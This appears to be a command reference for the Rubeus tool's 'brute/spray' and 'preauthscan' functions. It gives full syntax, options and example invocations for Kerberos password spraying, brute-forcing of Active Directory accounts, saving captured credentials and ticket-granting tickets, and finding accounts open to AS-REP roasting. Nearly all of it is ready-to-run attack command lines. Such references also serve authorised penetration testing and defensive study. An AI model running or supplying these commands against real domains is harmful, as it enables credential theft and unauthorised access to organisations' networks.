brute / spray

Kerberos-based password brute-forcing or password spraying. Can also be invoked as spray.

Usage

Rubeus.exe brute </password:<password> | /passwords:<passwords-file>> [/user:<username> | /users:<users-file>] [/domain:<domain>] [/creduser:<domain>\<username> & /credpassword:<password>] [/ou:OU=...] [/dc:<dc-ip>] [/outfile:<output>] [/noticket] [/verbose] [/nowrap]

Options

/password:<password> — single password to test
/passwords:<file> — file containing passwords, one per line
/user:<username> — single user to test
/users:<file> — file containing usernames, one per line
/domain:<domain> — target domain (defaults to current)
/dc:<dc-ip> — domain controller to target
/creduser:<domain>\<username> — alternate LDAP credentials for user enumeration
/credpassword:<password> — password for alternate credentials
/ou:OU=... — restrict to specific OU
/outfile:<output> — file to write successful credentials to
/noticket — don't display/save TGTs on success
/verbose — show all attempts including failures
/nowrap — don't line-wrap base64 output

Examples

# Spray a single password across all users in domain
Rubeus.exe brute /password:<password> /noticket

# Spray against a user list
Rubeus.exe brute /password:<password> /users:users.txt /domain:<domain> /dc:<dc-ip>

# Brute-force a specific user
Rubeus.exe brute /user:<username> /passwords:wordlist.txt /domain:<domain>

# With alternate creds for LDAP enumeration
Rubeus.exe brute /password:<password> /creduser:<domain>\<username> /credpassword:<password>

# Save successful creds
Rubeus.exe brute /password:<password> /outfile:<output>

preauthscan

Scan for accounts that do not require Kerberos pre-authentication (AS-REP roastable):

Rubeus.exe preauthscan /users:<users-file> [/domain:<domain>] [/dc:<dc-ip>] [/proxyurl:https://KDC_PROXY/kdcproxy]

# Example
Rubeus.exe preauthscan /users:users.txt /domain:<domain> /dc:<dc-ip>

Notes

Blocked/disabled accounts are detected and skipped
On success, a TGT is returned for the valid credential